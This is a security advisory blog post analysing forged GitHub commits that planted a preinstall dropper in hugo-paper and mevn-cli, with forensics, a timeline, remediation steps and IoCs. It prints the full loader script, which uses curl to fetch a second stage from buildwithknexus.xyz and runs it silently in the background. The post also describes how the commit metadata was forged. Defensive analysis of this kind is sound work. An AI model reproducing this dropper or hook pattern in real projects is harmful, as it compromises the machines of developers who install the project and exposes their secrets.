---
title: "Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli"
description: "An attacker pushed forged commits to the default branches of hugo-paper and mevn-cli. Running npm install or bun install in either repository downloads and runs a second-stage script from buildwithknexus[.]xyz."
url: "https://safedep.io/blog/hugo-paper-mevn-cli-forged-commit-preinstall-dropper"
author: "Kunal Singh"
published: "2026-10-20"
---

# Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli

An attacker slipped a malicious `preinstall` script into two GitHub projects,
[hugo-paper](https://github.com/nanxiaobei/hugo-paper) and [mevn-cli](https://github.com/madlabsinc/mevn-cli). Run
`npm install` or `bun install` in either one, and it fetches a script from `buildwithknexus[.]xyz` and runs it in the
background. No npm package carries the payload, so registry scanners never see it.

The attacker pushed straight to the default branches and copied the author, date, and message of a real commit, so the
history looks untouched.

![GitHub diff of forged hugo-paper commit a68d2c9b, which adds the preinstall hook to package.json and the new scripts/preinstall.js file](https://safedep.io/_next/static/immutable/media/hugo-paper-forged-commit-preinstall-diff.43r97_m3fdf4t.png)

## The dropper

The forged commits add two changes. The first is a new hook as the first entry under `"scripts"` in `package.json`:

```json title="hugo-paper a68d2c9b / package.json (excerpt)"
"preinstall": "node scripts/preinstall.js"
```

The second is the loader, copied from the forged hugo-paper commit. Do not run it.

```js title="hugo-paper a68d2c9b / scripts/preinstall.js"
'use strict';

const { execSync } = require('child_process');

const platform = process.platform;
const silent = { stdio: 'ignore' };

if (platform === 'win32') {
  try {
    execSync('curl.exe -ks https://buildwithknexus.xyz/check_w -o "%TEMP%\\check.cmd"', { ...silent, shell: true });
    execSync('cmd /c ""%TEMP%\\check.cmd" & exit /b 0"', { ...silent, shell: true });
  } catch (error) {}
} else if (platform === 'darwin') {
  execSync(
    'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
    silent
  );
} else if (platform === 'linux') {
  execSync(
    'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
    silent
  );
} else {
  execSync(`echo Preinstall on unsupported platform: ${platform}`, silent);
}
```

Source:
[`scripts/preinstall.js` at `a68d2c9b`](https://github.com/nanxiaobei/hugo-paper/blob/a68d2c9b2ad9d857b09dcb30a578ac1de6487061/scripts/preinstall.js).

| Platform      | Behavior                                                                                                                                                |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Windows       | Downloads `hxxps://buildwithknexus[.]xyz/check_w` to `%TEMP%\check.cmd` and runs it with `cmd`. The script ignores errors, so the install still passes. |
| macOS / Linux | Starts a detached `nohup` job that downloads `hxxps://buildwithknexus[.]xyz/check_m` to `/tmp/check` and runs it with `bash`.                           |
| Other         | Runs a harmless `echo`.                                                                                                                                 |

The `-k` flag turns off TLS certificate checks and `-s` hides `curl` output. Every `execSync` call sets `stdio` to
`ignore`, so nothing reaches the terminal. On macOS and Linux, the install finishes normally while the second stage keeps
running.

This file is a first-stage downloader. The server controls the second stage (`check_m` and `check_w`) and can change
it at any time. SafeDep has not retrieved the second stage and cannot confirm what it does. Treat any machine that ran the hook as
compromised.

### The attacker changed the payload once

mevn-cli has two versions of the loader. The first version (sha256 `c7b8b06d…5e575f79e`) started a hidden PowerShell
window on Windows. Its command puts `\c` sequences without escaping inside a JavaScript string, which likely broke the Windows path. The
attacker then pushed the second version (sha256 `61412c99…14f9eaf100`), which uses
`curl.exe` and `cmd /c` inside a `try` block. hugo-paper only received the second version.

## The forged hugo-paper commit

On 2026-03-09 the maintainer merged [PR #267](https://github.com/nanxiaobei/hugo-paper/pull/267), a clean two-line
template change. GitHub created the merge commit `de1169ec`, which has two parents and a valid GPG signature.

On 2026-08-21 at 02:22 UTC, the attacker force-pushed `a68d2c9b` over `main`. The new commit copies the original
metadata and adds the payload:

| Field              | Original `de1169ec`         | Forged `a68d2c9b`                                    |
| ------------------ | --------------------------- | ---------------------------------------------------- |
| Author / committer | 南小北 / GitHub, 2026-03-09 | Identical                                            |
| Message            | Merge pull request #267 …   | Identical                                            |
| Parents            | `7c6a6c5`, `f1c0ba8`        | `7c6a6c5` only                                       |
| Signature          | Valid GPG (GitHub web flow) | None                                                 |
| Files              | 2 templates                 | 2 templates, `package.json`, `scripts/preinstall.js` |

`git diff de1169ec a68d2c9b` shows only the two malicious files. The commit list on GitHub still shows the same message,
avatar, and March date. You can spot the forgery two ways. The "Verified" badge is gone, and the merge commit has one parent
instead of two. The PR API still reports `merge_commit_sha` as `de1169ec`, which no longer exists on any branch.

The author of PR #267 had no part in this. Their commit `f1c0ba8` is clean.

## The appended mevn-cli commits

The attack on mevn-cli came first, on 2026-08-20 at 11:23 UTC. Here the attacker appended new commits instead of
replacing the tip. Each one copies the author, timestamp, and message of the commit before it, on two branches:

```text title="mevn-cli / branch history"
develop (default branch)
  d6c30b2  "docs: replace obsolete Travis badge…"   legitimate, README only
  eabf4d9  same message, author, and timestamp       adds payload v1 and the preinstall hook
  f883021  same message, author, and timestamp       upgrades to payload v2 (HEAD)

master
  d6f8eb1  "1.8.1" (tag v1.8.1, 2020-08-23)          legitimate
  3a30d0d  same message, author, and timestamp       adds payload v1 and package.json from develop
  ceb4558  same message, author, and timestamp       upgrades to payload v2 (branch tip)
```

The maintainer never signed commits, so no "Verified" badge disappears. The `master` commits carry a 2020 date, which
makes them look old. The existing `postinstall` hook (`opencollective-postinstall`) is legitimate and predates the
attack.

Source:
[`scripts/preinstall.js` at `f8830218`](https://github.com/madlabsinc/mevn-cli/blob/f8830218b5d70d068cca19a45df261a8cf19f30d/scripts/preinstall.js).

## Common technique across both repositories

- A direct push under the maintainer identity, with a force push where needed. No pull request or review.
- A copy of the author, committer, timestamps, and message of the current tip commit.
- Changes to the default branch and to other long-lived branches.
- The same file path, `scripts/preinstall.js`, and the same hook as the first entry under `"scripts"`.
- The same host, `buildwithknexus[.]xyz`, with paths `/check_m` and `/check_w`.
- No npm release. hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean.

The attacker hit two unrelated maintainers within 15 hours, each with commits under their own identity. That points to stolen
push credentials, such as a personal access token or SSH key. SafeDep infers this from the pattern and has not
confirmed how the attacker got them.

## Scope

Forks and copies made after the attack inherit the payload. These repositories carry it:

| Repository              | Created    | Type               |
| ----------------------- | ---------- | ------------------ |
| `otzbergnet/hugo-paper` | 2026-09-19 | Fork of hugo-paper |
| `brendah4557/mevn-cli`  | 2026-10-18 | Fork of mevn-cli   |
| `Andreas9036/mevn-cli`  | 2026-10-19 | Fork of mevn-cli   |
| `MatildaHan/blog-paper` | 2026-10-19 | Copy of hugo-paper |

SafeDep found no dropper in the other repositories of these accounts. No evidence links the fork owners
to the attacker.

## Relation to GlassWorm and ForceMemo

The git trick is the same one [GlassWorm](https://opensourcemalware.com/blog/glassworm-hacks-ovh-clouds-cli-tool) and
[ForceMemo](https://github.com/tstromberg/supplychain-attack-data) used earlier in 2026. Steal the GitHub
credentials of a maintainer, rewrite the tip commit, and force-push it with the original message and author.

The tooling is different. GlassWorm hides an encoded loader in invisible Unicode and uses a Solana memo for command and
control. This campaign uses plaintext `curl` and a fixed domain, and shares no indicators with either attack. SafeDep
treats it as a separate cluster and will revisit that if the second stage points to either one.

## Timeline

All times are UTC.

| Date             | Event                                                    |
| ---------------- | -------------------------------------------------------- |
| 2026-03-09 08:46 | Signed merge `de1169ec` of PR #267 on hugo-paper         |
| 2026-07-23       | Last legitimate commit `d6c30b2` on mevn-cli `develop`   |
| 2026-08-20 11:23 | mevn-cli `develop` and `master` poisoned (v1, then v2)   |
| 2026-08-21 02:22 | hugo-paper `main` force-pushed to forged `a68d2c9b` (v2) |
| 2026-09-19       | First known fork with the payload created                |
| 2026-10-20 07:11 | Issue #272 filed on hugo-paper                           |

## Am I affected?

You are affected if both of these are true:

1. You cloned or pulled hugo-paper `main` after 2026-08-21, mevn-cli `develop` or `master` after 2026-08-20, or one of
   the forks above.
2. You ran `npm install`, `bun install`, `yarn`, or `pnpm install` in that checkout without `--ignore-scripts`.

If you use the theme only as a Hugo module or git submodule and never ran a JavaScript package install, the hook never
ran on your machine.

If you are affected:

1. Treat the machine or CI runner as compromised. Look for `/tmp/check`, `%TEMP%\check.cmd`, and any process or log entry
   that mentions `buildwithknexus.xyz`.
2. Rotate every secret that the machine could reach. This includes GitHub tokens and SSH keys, npm tokens, cloud
   credentials, `.env` files, and credentials stored in the browser.
3. Block `buildwithknexus.xyz` at DNS or proxy level and search egress logs for earlier connections.

## Indicators of compromise

[IoC: hugo-paper and mevn-cli campaign](https://safedep.io/data/blogs/hugo-paper-mevn-cli-iocs.csv)
